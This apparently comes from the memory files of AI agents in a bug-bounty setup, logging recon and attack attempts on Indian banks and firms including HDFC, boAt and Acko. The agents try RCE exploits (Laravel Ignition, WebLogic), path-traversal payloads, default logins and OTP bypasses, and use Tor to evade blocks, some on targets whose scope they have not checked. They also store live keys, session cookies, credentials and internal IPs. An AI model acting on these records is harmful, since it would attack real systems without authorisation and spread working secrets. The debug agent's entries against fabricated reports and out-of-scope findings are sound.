- **Root Cause**: I evaluated findings by individual technical merit (CORS severity, new subdomain discovery) instead of filtering through the user's explicit constraint first. The scope document is a reference tool, but the user's verbal instruction is the binding rule. I treated "contradicting the scope doc" as a reason to report, when the correct behavior was "this is OOS regardless — user said skip."
- **Prevention Rule**: Before recommending any finding for submission, the FIRST check must be: "Did the user tell me to stay in scope only? If yes, reject all OOS findings regardless of severity. Do not even create finding files for OOS subdomains." The user's scope constraint is not a suggestion — it is a hard filter that applies before any technical evaluation.

## Session: 2026-07-06 (Recon to Master — boAt Lifestyle)

### Part 1: Recon Session — What Worked

1. **Full LostSec recon pipeline**: subfinder → crt.sh → waybackurls → gau → dnsx → httpx → nmap → nuclei — fully executed
2. **Wayback CDX via proxychains**: Bypassed India block on web.archive.org using Tor
3. **15+ NEW subdomains discovered**: api-gst, hearable-ai, grafana-gcp, naavik, devretailer, testretailer, dev-boathive, discounts, prod-hub-api, hr-dock, my, sg, dev-aihub, f, dev-hearable-ai
4. **testretailer Laravel debug mode**: Full stack trace with server paths exposed
5. **hearable-ai AI Agent Platform**: FastAPI with Swagger UI + ReDoc docs exposed
6. **Grafana 12.3.1**: Enterprise monitoring dashboard discovered
7. **dev-aihub Next.js**: AI Hub platform with n8n chat integration found
8. **JS bundle analysis**: Devretailer React app revealed API routes + testretailer backend
9. **dev-boathive nginx default page**: Unconfigured server

### Part 1: Recon Session — What Failed

1. **Nuclei CVE scan**: Returned 0 findings (possibly rate-limited or targets behind WAF)
2. **crt.sh API**: Returned empty (known intermittent issue) — CertSpotter worked instead
3. **Wayback CDX sensitive files query**: 504 Gateway Timeout
4. **Grafana default creds**: admin/admin, admin/admin123, admin/grafana all rejected
5. **api-gst Ignition RCE**: CVE-2021-3129 attempt failed (likely patched)

### Part 2: Crewex Deep Dive — What Worked

1. **Crewex OTP flow reverse-engineered**: Full JS analysis of `/custom/js/pages-auth.js` revealed:
2. OTP sent via POST `/auth/register` with `{phone, _token}`
3. 6-digit OTP verified via POST `/auth/login` with `{otp, phone, _token}`
4. 60-second timer, 3 OTP resend attempts max
5. Client-side regex: `/^[6-9]\d{9}$/` (Indian mobile starting 6-9)
6. **OTP rate limit confirmed**: 20+ rapid OTP sends all returned 200 before 15-min cooldown kicked in
7. **Phone format validation**: Valid format (6-9) → "Registered", Invalid (1-5) → "Failed"
8. **Sanctum endpoints mapped**: csrf-cookie 204 (active), token 302 (redirect to login)
9. **Warranty action-count endpoint**: `/warranty/action-count` returns 401 — exists but requires auth
10. **10+ GET-only Laravel auth routes discovered**: `/auth/forgot`, `/auth/otp`, `/api/verify-otp`, etc.
11. **All endpoint types tested**: null/empty/negative/special OTP values → all properly rejected

### Part 2: Crewex Deep Dive — What Failed

1. **OTP brute force**: 1M 6-digit combinations × rate limiting = not feasible
2. **OTP bypass**: null/empty/negative/true/false/array/SQLi/float/spaced OTP → all rejected
3. **Sanctum token generation**: POST returns 405 (GET only), GET returns 302 (login redirect)

4. **warranty/action-count**: All auth methods (session/bearer/basic/cookie/header) → 401
5. **Session after registration**: Only /admin returns 403 (rest 302 redirect)
6. **OTP re-registration after rate limit**: 15-minute mandatory wait confirmed

### NEW Live Findings (boAt — July 6-7, 2026)

Findings 17-26 (from Recon Part 1): 1. testretailer.boat-lifestyle.com Laravel Debug Mode (HIGH) — Full stack trace disclosure 2. hearable-ai FastAPI Swagger/ReDoc Exposed (MED-HIGH) — AI Agent Platform metadata 3. grafana-gcp Grafana 12.3.1 (MEDIUM) — Monitoring dashboard login exposed 4. dev-aihub AI Hub Next.js (MEDIUM) — n8n chat + multi-project AI platform 5. testretailer login 500 error (MEDIUM) — Stack trace with full server paths 6. devretailer JS API endpoints exposed (MEDIUM) — Retailer API routes in JS bundle 7. naavik Mendix SOAP endpoint active (MEDIUM) — SOAP service enumeration possible 8. api-gst Laravel Ignition health check (MEDIUM) — Debug endpoint accessible 9. dev-boathive nginx default page (LOW) — Unconfigured server 10. New subdomain: dev-aihub.boat-lifestyle.com (INFO) — Next.js AI Hub

Findings 27-32 (from Crewex Deep Dive Part 2): 11. Crewex OTP No Initial Rate Limit (MEDIUM) — SMS bombing potential 12. Crewex Phone Format Validation (LOW) — Format enum via response diff 13. Crewex Sanctum SPA Auth Confirmed (LOW) — csrf-cookie 204, token 302 14. Crewex warranty/action-count Endpoint (LOW) — 401 unauthenticated 15. Crewex OTP Flow Fully Analyzed (INFO) — Complete JS reverse engineer 16. Crewex 10+ GET-Only Laravel Auth Routes (INFO) — Route structure mapped

### Total Findings: 32 (was 26)

### Priority Targets for Next Session

1. **Submit all 8 BugBase reports** via browser (bugbase.ai, login: sricharan_99)
2. **testretailer.boat-lifestyle.com** — Laravel debug mode, exploit Ignition further
3. **dev-aihub.boat-lifestyle.com** — Next.js AI Hub, check n8n CVE, SSO bypass
4. **hearable-ai.boat-lifestyle.com** — Test AI agent endpoints, prompt injection
5. **grafana-gcp.boat-lifestyle.com** — Try Grafana auth bypass/SSRF
6. **Search for Razorpay key_secret** in Wayback, GitHub, JS bundles
7. **naavik.boat-lifestyle.com** — Mendix SOAP service enumeration
8. **Crewex Laravel APP_KEY brute force** — If found, enables RCE via Ignition

### Key Assets

- Razorpay Live Key: `rzp_live_RRhHz0hI9pCEfg` (requires key_secret for full API access)
- Mendix Session: __Host-XASID=0.90188a77-1eed-4211-860d-a30588bf8fed
- Crewex Apache: 2.4.52 Ubuntu
- Crewex App Name: "Boathead" (from HTML title)
- OTP regex: `/^[6-9]\d{9}$/` (10-digit Indian mobile)
- OTP: 6-digit, 60s expiry, 3 attempts max, rate limited after threshold

### Next Steps

1. Submit all 8 reports on BugBase (requires browser login at bugbase.ai)
2. Search for Razorpay key_secret via Wayback Machine, GitHub, code dumps, JS bundles
3. Try Laravel APP_KEY brute force on Crewex (enables Ignition RCE if found)
4. Research Mendix SOAP service names via JS analysis of Mendix bundles
5. Continue monitoring Mendix app for changes (recently deployed Jul 2, 2026)
6. For Crewex OTP: Need to try with real phone number that can receive SMS

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## Session 2026-07-08 — HDFC Deep Findings Synthesis

### Prioritized Target List (P0-P2)

#### P0 — Critical, Report Immediately

1. **WebLogic RCE** at `oracle.hdfc.bank.in` — CVE-2020-14882/14883 auth bypass via `%252e%252e%252f`, WLS-WSAT active. CVSS 9.8. NEEDS scope verification on BugBase.

2. **CLO Portal Encryption Chain Bypass** — 6-layer auth chain reversed. RSA-2048 pub key extracted from `/key`. PoC at `/tmp/clo_exploit_poc.py`. CVSS 7.5. Request CLO test creds from BugBase.
3. **GitLab CE Exposed** at `partner.hdfc.bank.in` — potential CVE-2021-22205 unauth RCE. CVSS 7.5. Determine exact version via `/api/v4/version`.

**P1 — Verified, Write Reports**

1. **SMARTHUB Merchant User Enumeration** — clean PoC, rate limit is per-email not per-IP. Report now. CVSS 6.5.
2. **Keycloak OIDC + JWT Alg Confusion** — JWKS kid=`3z_YuBHeFSxGJ4oWxqiXaSCMxyCeVQaPg0fxv-JH6K4`. Try HS256 forgery with public key as HMAC secret. CVSS 5.3-7.5.
3. **ENET Struts2 + IHS 8.5.5 EoL** — `/EnetMVC/../` traversal confirmed, Struts DMI endpoints exposed. Test OGNL injection. CVSS 7.5.
4. **CBX Double-Encoded Path Traversal** — `..%252f` → 500 for dirs, 000 timeout for files. Try `%252e%252e%252f`, `..%00/`, overlong UTF-8 `..%c0%af`. CVSS 7.5.
5. **ENET Password Hash Reverse-Engineered** — full hash computation chain reversed. Hashrand is DYNAMIC per session, NOT hardcoded (supersedes earlier finding). CVSS 8.1.
6. **Open Money S3 Bucket Public Read** — test for WRITE permission. Enumerate all prefixes. CVSS 5.3.
7. **Production Keycloak 500 DoS** at `now.hdfc.bank.in` — all login-actions endpoints return 500. Verify scope first. CVSS 6.5.

**P2 — Support/Chain Findings**

- BizExpress API Disclosure, ENET CSP SSRF (needs ENET XSS first), API Portal Drupal (version fingerprint), CLO User Enumeration (expand segments).

## Known Dead Ends (Don't Retry)

- ENET CAPTCHA bypass: server-side validation, dynamic hashrand. ~10 attempts failed.
- `bb-web-client` password grant: explicitly disabled in Keycloak client config.
- CBX triple-encoded `..%25252f`: 404. Overlong UTF-8 `..%c0%af`: 404.
- SMARTHUB rate limit via X-Forwarded-For: server-side IP keyed, doesn't bypass.
- CLO `/actuator/env`, `/actuator/configprops`: WAF + app dual-blocking, returns 500 runtime errors.

## Critical Test Credentials (Static on UAT)

- Netbanking Rewrite: ID `192598026` / Pass `hdfcbank1` / OTP `123456`
- BizExpress: same as Netbanking
- Lastmile/CLO: same ID/Pass, any 6-digit OTP
- ENET Maker: `ISGINP46` / `Welcome@4444` / ENETISG domain
- ENET Authoriser: `ISGAUTH46` / `Welcome@4444` or `Welcome@5555`
- PAN for CLO: `ABCDE1234F`

## Key Internal Infrastructure (Leaked)

- `172.31.12.31:8140` — ASM Gateway LB (CLO)
- `172.17.104.111` — Anumati Service
- `172.21.15.188:443` — ENET Internal (CORS leak, credentialed=true)

## WAF/Middleware Signatures

- ENET: F5 Volterra (`x-volterra-location: mb2-mum`)
- CBX: Citrix Netscaler (`NSC_ESNS` cookie) + F5 BIG-IP
- SMARTHUB: Radware ("Unauthorized Activity Detected")
- CLO Portal: Volterra (F5 distributed cloud)

## Tokens/Keys Worth Retesting

- SMARTHUB cust360: `64a9250c08ba865736f6120595222ac2`, `2ed37c03db939c306831fc35269c2ea1`
- Keycloak JWKS RSA single key, kid as above
- CLO RSA-2048 pub key from `/key` endpoint

### Missing Data to Capture Next Run

1. Mobile APK decompilation (8 APKs in BugBase scope) — hardcoded API keys
2. Actual WebLogic RCE confirmation via WLS-WSAT SOAP payload
3. GitLab version fingerprint for CVE-2021-22205 match
4. Drupal exact version via `/CHANGELOG.txt` on API Portal
5. S3 bucket WRITE permission test
6. CLO Portal test credentials request from BugBase (BLOCKING for authenticated testing)
7. 403 endpoints on CLO actuator — retest with `X-Forwarded-For: 127.0.0.1`, `X-Original-URL`, trailing slash

### Superseded Reports (Don't Reference)

- `ENET_Hardcoded_Hashrand_*.md` — SUPERSEDED (hashrand is dynamic)
- `CBX_Path_Traversal_500_*.md` — SUPERSEDED by `CBX_Double_Encoded_Path_Traversal_*.md`
- Any report referencing `cbxuat.hdfcbank.com:444` without redirect note — OUTDATED (redirects to `cbxuat.hdfcuat.bank.in:444`)

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## Memory: verifier

# Verifier Agent Memory

## Sessions

### 2026-07-07 — HDFC Full Verification (14 findings, 6 reportable)

**Method:** 14 findings verified one-by-one via curl over Tor, 3-request reproducibility rule, response diff analysis
**Result:** 6 VERIFIED (reportable), 3 PARTIAL, 2 REJECTED, 3 INFORMATIONAL **Key Combo:** SMARTHUB User Enumeration + Login Brute Force = ATO chain (High-Critical)

### 2026-07-05 — Acko/Groww/Mygate Reverification

- Acko WAF now blocking 10+ previously open endpoints (between discovery June 29-30 and now)
- Locus fixed DNS + Subdomain Takeover (CloudFront migration) — missed reporting window
- Groww GitHub leak STILL LIVE after 3+ years — highest global priority

## Tool Improvements from Today

1. **CORS static list vs dynamic reflection** — don't assume `access-control-allow-origin` with multiple values is a bypass. Static multi-value lists leak internal IPs but aren't exploitable for cross-origin attacks without `null` or `*`.
2. **Path traversal 500 vs 000 timeout** — HTTP 500 means traversal detected but blocked; HTTP 000 timeout means server crash/hang on file read. Neither is exploitable for data exfiltration.
3. **nginx "superuser privileges" error** — 98-byte error from nginx 1.28.3 blocking WAF bypass attempts. This is a custom nginx module, not WebLogic. 3 different HDFC targets share same nginx version (partner.hdfc.bank.in, oracle.hdfc.bank.in, hbenetinterap.hdfcuat.bank.in).
4. **Rate limit type matters** — SMARTHUB rate-limits per-email, not per-IP. This makes bulk enumeration possible by rotating target emails.

## Verified Findings (Still Active)

### Groww — STILL CRITICAL

| # | FINDING | SEVERITY | CVSS | STATUS |
|---|---|---|---|---|
| 1 | **GitHub Credential Leak** — `kuldeepverma/groww/master/.env.example` has production JWT (`apex-auth-prod-app`, auth-totp), TOTP_SECRET, PUSH_TOKEN | **CRITICAL** | 9.8 | ✅ **STILL LIVE** — HTTP 200 |
| 2 | **SOP Document Exposure** — 496KB internal PDF publicly accessible | MEDIUM | 5.3 | ✅ **STILL LIVE** — HTTP 200 |
| 3 | **BugBase Config Leak** — `__NEXT_DATA__` exposes full program config | MEDIUM | 5.3 | ✅ **Confirmed** |

### Mygate — Still Verified

| # | FINDING | SEVERITY | CVSS | STATUS |
|---|---|---|---|---|
| 4 | **Internal IP Leak (C-1)** — `172.21.92.37:8888` in JS bundle | **HIGH** | 7.5 | ✅ **STILL LIVE** |

## Acko — Still Verified (Unprotected Endpoints)

| # | FINDING | SEVERITY | STATUS |
|---|---|---|---|
| 5 | **S3 Pre-signed URL Generation** — Any file in `acko-partners-restricted` accessible | **CRITICAL** | ✅ **STILL LIVE** — HTTP 200, Key-Pair-Id `K1RUN7L0I2NTO9` |
| 6 | **Employee PII via auth-saml** — Names, phones, emails, 48+ permissions | **CRITICAL** | ✅ **STILL LIVE** — HTTP 200 |
| 7 | **SAML SSO Enumeration** — 3 services confirmed (cx360-prod, firefly, partner-portal-prod) | **HIGH** | ✅ **Still Working** |
| 8 | **cx360v2 Backend Actuator** — Health endpoint exposed, "Predictive Call Analysis Viewer" | MEDIUM | ✅ **STILL LIVE** |
| 9 | **New Relic Account Leak** — Account 2100098, License Key e58014651e | MEDIUM | ✅ **STILL LIVE** |
| 10 | **Fleetops CORS Wildcard** — `access-control-allow-origin: *` + Kong | **HIGH** | ✅ **STILL LIVE** |
| 11 | **Analytics CORS Wildcard** — `access-control-allow-origin: *` | MEDIUM | ✅ **STILL LIVE** |

## Rejected / Fixed Findings (No Longer Exploitable)

| # | FINDING | WHY REJECTED |
|---|---|---|
| 1 | **Locus DNS Private IP Leak (1I)** | ✅ **FIXED** — Now resolves to CloudFront IPs (54.230.x.x) |
| 2 | **Locus Subdomain Takeover (1K)** | ✅ **FIXED** — design.locus.sh → HTTP 200, dls-doc → HTTP 302 |
| 3 | **Acko Document DELETE (C5)** | ❌ **405 Method Not Allowed** — DELETE disabled |
| 4 | **Acko AWS IAM Role (H3)** | ❌ **403 WAF** — signed_pdf endpoint blocked |
| 5 | **Acko Unauthenticated SignUp (H4)** | ❌ **403 WAF** — signUp blocked |
| 6 | **Acko Internal IP/Backend (H9)** | ❌ **403 WAF** — fetch/user-details blocked |
| 7 | **Acko Partner Plan Attributes (H10)** | ❌ **403 WAF** — plan/attributes blocked |
| 8 | **Acko Partner Templates (M1-M2)** | ❌ **403 WAF** — template endpoints blocked |
| 9 | **Acko WhatsApp Send (M4)** | ❌ **403 WAF** — blocked |
| 10 | **Acko Ledger Retrigger (M6)** | ❌ **403 WAF** — blocked |
| 11 | **Acko File Upload (M3)** | ❌ **403 WAF** — blocked |
| 12 | **Acko Auth Token Create** | ❌ **403 WAF** — blocked |
| 13 | **Acko Bulk Operations History** | ❌ **403 WAF** — blocked |
| 14 | **Acko Segment Write Keys** | ❌ **All 4 keys return 404** — rotated/expired |
| 15 | **Acko Segment Write Keys** (original) | ❌ **HTTP 404** — expired/rotated |

## HDFC — Full Verification Results (2026-07-07)

### 🟢 VERIFIED (Reportable)

| # | FINDING | TARGET | SEVERITY | CVSS | REPRODUCIBILITY |
|---|---|---|---|---|---|
| 12 | **ENET Struts2 Path Traversal + IHS 8.5.5 EoL** — `GET /EnetMVC/../` → IHS welcome page HTTP 200, 3598B, 3/3. All depths work. EoL server from 2012. | hbenetint-erap.hdfcuat.bank.in | **HIGH** | **7.5** | ✅ 3/3 |
| 13 | **SMARTHUB Merchant User Enum** — `checkUserExist` returns `Invalid\|N` with attempt count. ForgotPassword: `forgotPassword-Status="Failure"` for invalid. Rate limit per-email. | smarthub.biz.hdfc.bank.in | **MED-HIGH** | **6.5** | ✅ 3/3 |
| 14 | **GitLab CE Exposed** — `/users/sign_in` HTTP 200, `/users/password/new` HTTP 200. Referrer URL shows gitlab subdomain. | partner.hdfc.bank.in | **MEDIUM** | **5.3** | ✅ 3/3 |
| 15 | **ENET CORS Misconfig + Internal IP Leak** — `172.21.15.188:443` leaked in static ACAO. `access-control-allow-credentials: true`. | hbenetint-erap.hdfcuat.bank.in | **MEDIUM** | **5.3** | ✅ 3/3 |
| 16 | **Lastmile CAPTCHA Bypass** — CAPTCHA is purely client-side. `captchaVisibility` starts as "N". Server does not validate. | last-milewebuat.hdfcuat.bank.in | **MEDIUM** | **6.1** | ✅ 3/3 |
| 17 | **ENET CSP SSRF Vector** — `connect-src` allows localhost on ports 9999/19999/29999 + `unsafe-inline` `unsafe-eval` | hbenetint-erap.hdfcuat.bank.in | **MEDIUM** | **5.3** | ✅ 3/3 |

## 🟡 PARTIAL (Limited / Not Reportable)

| # | FINDING | VERDICT |
|---|---|---|
| 18 | **WebLogic 10.3.6.0 Admin Console** — Exposed (HTTP 200, 3/3) but CVE-2020-14882/14883 BLOCKED by nginx. WLS-WSAT GONE (404). No RCE achieved. | **PARTIAL — Exposed EoL console (HIGH)`** downgraded from Critical RCE |
| 19 | **CBX Double-Encoded Path Traversal** — `..%252f` → HTTP 500 (detected). File reads → HTTP 000 timeout. Not exploitable. | **PARTIAL — UNREPORTABLE** |
| 20 | **CBX OTL fetch() Bypass** — Client-side only. Server validates auth independently. | **PARTIAL — UNREPORTABLE** |

## 🔴 REJECTED / INFORMATIONAL

| # | FINDING | WHY |
|---|---|---|
| 21 | **CLO Encryption Chain Bypass** | No encryption bypass found. Only Keycloak OIDC + wildcard CSP remain. LARGELY REJECTED. |
| 22 | **ENET Password Hash Reverse-Engineered** | Client-side only. Hashrand is dynamic per request. INFORMATIONAL. |
| 23 | **CBX GetPublicKey RSA Endpoint** | Designed public endpoint. INFORMATIONAL. |

## ℹ️ PASSIVE CONFIRMATIONS

- **BizExpress Open Money API** — Angular SPA at netbankingforbusiness.hdfc.bank.in (91760B)
- **API Portal Drupal** — developer.hdfc.bank.in, Drupal 10, registration accessible
- **S3 Bucket** — open-frontend-bucket.s3.amazonaws.com accessible but empty
- **Keycloak OIDC Config** — Both `retail` and `intellect` realms confirmed

## Key Learnings

1. **Locus fixed their DNS + Subdomain Takeover between verifications** — CloudFront migration fixed DNS leak, GitHub Pages updated fixed takeover. This is great news but means we missed the reporting window.
2. **Acko implemented WAF protection** — Between original discovery (June 29-30) and now (July 5), Acko put WAF/403 on most partner-portal endpoints. The already-submitted reports were in time.
3. **Groww GitHub leak is STILL LIVE after 3+ years** — This is the most urgent finding. The file at `kuldeep-verma/groww/master/.env.example` has never been removed.
4. **Acko auth-saml is a completely different server** — No WAF protection at all. Full employee PII still exposed.
5. **S3 Pre-signed URL endpoint is also unprotected** — Not behind the same WAF as the rest of the partner portal.
6. **HDFC BugBase scope is narrow** — Only 5-6 externally accessible web assets. SMARTHUB, BizExpress, API Portal, Keycloak, and S3 bucket findings may be out of scope.
7. **CAPTCHA bypass verification** — For the Lastmile finding, the server DID return success with empty captcha, but both empty AND wrong captcha returned the same page. The CAPTCHA is effectively non-functional server-side.
8. **CORS static list** — The ENET CORS does NOT dynamically echo the Origin header, it returns the same static multi-value list regardless. This is an info leak (internal IP) rather than a functional CORS bypass.
9. **Same nginx/1.28.3 across 3 targets** — oracle.hdfc.bank.in, hbenetinterap.hdfcuat.bank.in, and partner.hdfc.bank.in all share the same nginx 1.28.3 reverse proxy. The "superuser privileges" 98-byte error is nginx's custom WAF response, not an application error.
10. **Per-email rate limiting** — SMARTHUB rate-limits per target email, not per-source IP. This makes bulk user enumeration feasible by rotating email addresses.

## Most Urgent Unreported Findings

| PRIORITY | COMPANY | FINDING | SEVERITY |
|---|---|---|---|
| 🥇 | **Groww** | GitHub Credential Leak | **CRITICAL 9.8** |
| 🥇 | **Acko** | S3 Pre-signed URL Generation | **CRITICAL** |
| 🥇 | **Acko** | Employee PII via auth-saml | **CRITICAL** |
| 🥇 | **HDFC** | ENET Struts2 Path Traversal + IHS 8.5.5 EoL | **HIGH 7.5** |
| 🥈 | **Acko** | SAML SSO Enumeration | **HIGH** |
| 🥈 | **Acko** | Fleetops CORS Wildcard | **HIGH** |
| 🥈 | **Mygate** | Internal IP Leak | **HIGH** |
| 🥈 | **HDFC** | SMARTHUB Merchant User Enumeration | **MED-HIGH 6.5** |
| 🥉 | **HDFC** | Lastmile CAPTCHA Bypass | MEDIUM 6.1 |
| 🥉 | **HDFC** | ENET CORS + Internal IP Leak | MEDIUM 5.3 |
| 🥉 | **HDFC** | GitLab CE Exposed | MEDIUM 5.3 |
| 🥉 | **HDFC** | ENET CSP SSRF Vector | MEDIUM 5.3 |
| 🥉 | **Groww** | SOP Document Exposure | MEDIUM |
| 🥉 | **Groww** | BugBase Config Leak | MEDIUM |
| 🥉 | **Acko** | cx360v2 Actuator, New Relic, Analytics CORS | MEDIUM |

## Memory: reporter

# Reporter Agent Memory

## What I Learned

- Last updated: 2026-07-04

## BugBase Report Submission Format

Every BugBase report must follow this exact template structure:

### Required Fields (in order):

1. **Scope** — Select the scope under which the bug was identified
2. **Vulnerable Endpoint / Affected URL** — Specific endpoint/URL (optional but include it)
3. **Vulnerability Type** — Select from dropdown (Auth Bypass, XSS, IDOR, etc.)
4. **Severity** — Critical/High/Medium/Low/Informational with CVSS vector
5. **Report Title** — Clear, descriptive: `[VulnType] — [Specific Endpoint] [Impact Summary]`
6. **Report Summary** — 2-3 sentence high-level overview
7. **Proof of Concept** — Must include these sections:
8. **Description** — High-level summary + security implications
9. **Security Impact** — What an attacker can actually do
10. **Steps To Reproduce** — Numbered, executable by anyone, include exact curl commands
11. **Specifics** — Testing account email, affected domains, versions
12. **Recommendations** — How to fix it (Immediate + Long-term)
13. **Video PoC** (optional, 25MB max)
14. **Attachments** (optional)
15. **Vulnerability Impact** — IP Address + Testing Email
16. **Review And Submit** — Final review before submission

### Report Title Format:

```
[VulnType] — [Specific Endpoint/Asset] [What it exposes/does]
```

Examples: - `Authentication Bypass — 6 Production Endpoints on api.locus.sh Expose Route Data and Trip Info` - `Source Maps Enabled in Production Build — Full React Application Source Code Reconstructable`

### Report Summary Format:

Short paragraph: what's vulnerable, where, and what an attacker can do without auth.

### Proof of Concept Structure:

```
## Description
[Problem summary + security implications]

## Security Impact
[Bullet list of what attacker can do]

## Steps To Reproduce
1. [No prerequisites] — all endpoints accessible without auth
2. [First command] — observe result
3. [Second command] — observe result
...

## Specifics
- Testing Account: [email]
- Affected Domain(s): [domain]
- Specific Versions/Vendors: [versions]

## Recommendations
### Immediate:
- [Fix 1]
- [Fix 2]
```

```
### Long-term:
- [Fix 3]
```

**Best Practices:**

- Always include LIVE curl commands that triager can copy-paste and run
- Show both the vulnerable request AND a blocked/comparison request (proves middleware exists)
- Include HTTP status codes and response bodies in comments after commands
- Use `bash and` json code blocks
- Keep severity realistic — don't inflate
- CVSS vector string + severity together gives most credibility
- Always include CWE reference
- Steps must be reproducible by someone unfamiliar with the target
- Impact must be specific, not generic

## Saved Templates

- BugBase submission format saved at: `~/.config/opencode/templates/bugbase_report_template.md`

## Mistakes Made

- **[2026-07-04] Did not save BugBase report submission format to memory** — User had to point out that the Reporter agent needs the exact template structure. Fixed by saving this complete format reference.
- **[2026-07-04] Title exceeded 120 characters** — BugBase enforces a 120-character limit on the report title. The original title was 161 characters. Fixed: shortened to ≤120 chars. **Rule: Always count title characters before finalizing.**
- **[2026-07-04] Listed 5 URLs in "Vulnerable Endpoint / Affected URL" field** — BugBase form only accepts a single URL in that field. Fixed: use the single most impactful endpoint URL (https://api.locus.sh/v1/direction). Mention other endpoints in the description/Steps to Reproduce instead. **Rule: "Vulnerable Endpoint / Affected URL" gets ONE URL — put the rest in the report body.**

## Successful Techniques

- Starting with "[VulnType] - [Endpoint]" title format gets quick triager attention
- Including working curl commands is the most important part of any report
- CVSS vector string + severity together gives most credibility
- Showing blocked endpoints alongside bypassed endpoints proves the middleware exists
- Including multiple city/location tests proves data is dynamic (not mocked)

## Failed Approaches

- Claiming CVEs that don't exist (triagers will catch this)
- Asking triager for help proving your own finding (weakens credibility)

## Tips Saved

- Always include CWE reference
- Steps to reproduce must be executable by someone unfamiliar with the target
- Impact should be specific, not generic
- Locus.sh report format: Scope → Endpoint → Type → Severity → Title → Summary → PoC (Description + Impact + Steps + Specifics + Recommendations) → Attachments → IP/Email → Submit
- The direction endpoint is the strongest PoC because it returns live, dynamic data that anyone can verify
- **BugBase title limit: 120 characters max** — count before finalizing
- **BugBase "Vulnerable Endpoint / Affected URL": ONE URL only** — use the most impactful endpoint, list the rest in the report body

## Reports That Got Accepted

- None recorded yet.

## Cross-Agent Improvement: 2026-07-09

- **Source**: DEBUG
- **Improvement**: Reports must be grounded in raw finding evidence. Never generate a report for a vulnerability without having: the full vulnerable URL, the payload used, the baseline response (without payload), the PoC response (with payload showing unescaped reflection), the HTTP status codes for both, and browser/PoC confirmation. A report without evidence is a fabricated finding.
- **Applies To**: Reporter (primary), DEBUG (enforcer)

## Critical Rule: Evidence Before Report

Before writing any bug bounty report, you MUST have: 1. **Full vulnerable URL** with parameter and payload 2. **Baseline response** (innocent parameter value) — status code, body excerpt, content-type 3. **PoC response** (malicious parameter) — status code, body excerpt showing payload reflected unescaped 4. **Browser confirmation** that the XSS actually executes (Playwright proof or screenshot) 5. **CSP headers** from the response — they determine exploitability 6. **Reproducibility count** (3-request rule: works 2/3 or more)

Without ALL of these, do NOT write the report. Ask for the evidence first.

## Memory: plan

# Plan Agent Memory

## What I Learned

- Last updated: $(date '+%Y-%m-%d')

## Mistakes Made

- None recorded yet.

## Successful Techniques

- Researching tech stack before planning reduces wasted effort
- Prioritizing P0 (Auth/API/Payment) finds higher impact faster
- 30-min quick win template finds easy bugs when deep testing stalls

## Failed Approaches

- None recorded yet.

## Tips Saved

- Always check for bug bounty program before deep testing
- If target has WAF, plan around bypass techniques upfront
- Save successful plans for reuse

## Successful Attack Plans

1. **BugBase bugbase.ai (2026-07-03)**
2. Target: Next.js SPA with Cloudflare
3. Key vectors: JS bundle analysis, IDOR on API, JWT manipulation, SSRF via webhooks
4. Auth: JWT + SSO SAML + MFA
5. Rewards: Critical $500, High $250, Medium $100
6. Rule: Manual only, PoCs on testing.bugbase.in only
7. Plan saved at: `.config/opencode/agent_memory/plans/bugbase_2026-07-03.md`

## Memory: debug

# Debug Agent Memory

## What I Learned

- Last updated: 2026-07-09
- Role: Catch mistakes, handle frustration, manage agent memory, propagate cross-agent learning

## Mistakes Made

- **2026-07-04**: `bash` tool used without `workdir` parameter for `cd` commands — chain with `&&` instead.
- **2026-07-04**: Grep/Grep tools should be preferred over `bash` with `grep` / `find` for file content searches.
- **2026-07-04**: When probing APIs, verify no quoting issues in bash commands (Python multi-line strings in heredocs work better).
- **2026-07-04**: Wait for tools to complete before making dependent calls — don't assume intermediate results.

## Mistakes Caught (DEBUG)

- **2026-07-09**: User asked to write a bug bounty report for a reflected XSS but provided zero details (no URL, endpoint, parameter, payload, response evidence). Writing a report without these details would fabricate a finding. Fix: Informed user that a reflected XSS report requires specific evidence first: vulnerable URL, baseline vs PoC response diff showing unescaped reflection, browser confirmation, CSP header check. Added cross-agent rule: Reporter agent must NEVER generate a report for a finding without the finding's raw evidence (URL, payload, response body, status code, reproducibility count).

## Successful Interventions

- **2026-07-04**: Caught microservice endpoint test failures (devo-5 SSH, FTP, DNS, NTP) — all returned connection timeouts, confirmed those ports don't exist publicly.
- **2026-07-04**: Re-ran crt.sh search which initially returned empty/blocked — documented as blocked and moved to alternative methods.
- **2026-07-04**: Recognized that DNS private IP leak (10.0.x.x) is a valid info disclosure finding even though the endpoints are unreachable — internal topology is still exposed.
- **2026-07-05 — Anonymity Stack Meltdown Recovery**: Hunter deployed anonymity stack with 4 compounding errors. Recovery sequence: `ufw disable` → clean torrc → `reset-failed tor@default` → restart Tor → verify internet. Root causes documented and prevention checklist created. Internet restored with 0% packet loss.

## Known Frustration Points

- **DNS resolution mismatch**: When testing via Tor vs direct, DNS may resolve differently (some hosts behind CloudFront). Always verify with both methods.
- **crt.sh API returns empty**: Sometimes returns empty results or connection blocks. Have alternative subdomain methods ready (Amass, Sublistr, DNS brute force).
- **Forgot-password rate limit**: The endpoint times out after too many requests. Need to wait before retesting.
- **S3 bucket vs S3 website**: `locus-api.s3.amazonaws.com` serves raw objects (directory listing for objects at prefix), while `locus-api.s3-website-us-east-1.amazonaws.com` serves HTML as websites. These are different endpoints.

## Known Frustration Points (Agent-side)

- **BugBase report format not saved**: User got frustrated that the Reporter agent didn't have the BugBase submission template format saved. Always save UI templates to agent memory after first encounter. Template saved at `~/.config/opencode/templates/bugbase_report_template.md`.
- **Anonymity stack deployment without verification checkpoints**: Hunter attempted to deploy Tor + UFW kill switch in one shot without incremental verification. Caused total internet blackout. Prevention: NEV-

ER deploy infrastructure in one shot. Always: verify config → start service → test routing → THEN enforce firewall. Keep rollback commands ready.
- **2026-07-09: Report requested without finding evidence**: User asked to write a reflected XSS report without providing the URL, payload, response body, or any evidence of the finding. Reporter agent (or anyone generating reports) must NEVER fabricate finding details. A report must be grounded in raw evidence collected from the target.

## Mistake: 2026-07-09 — Hunter Recommended OOS Findings Against User's Explicit Instruction

- **Error**: Hunter created finding files for 4 OOS subdomains (discounts CORS, bulkcoupon admin, warranty portal, naavik Mendix) and recommended 2 for BugBase submission. The user had explicitly instructed to stay in scope only. This wasted time and violated the user's trust.
- **Root Cause**: Hunter evaluated findings by technical merit (CORS severity) instead of filtering through the user's scope constraint first. The user's verbal instruction is the binding rule, not the scope document.
- **Fix**: All 4 OOS finding files deleted. Only JS endpoint intel file kept (source is in-scope). Hunter memory appended with prevention rule.
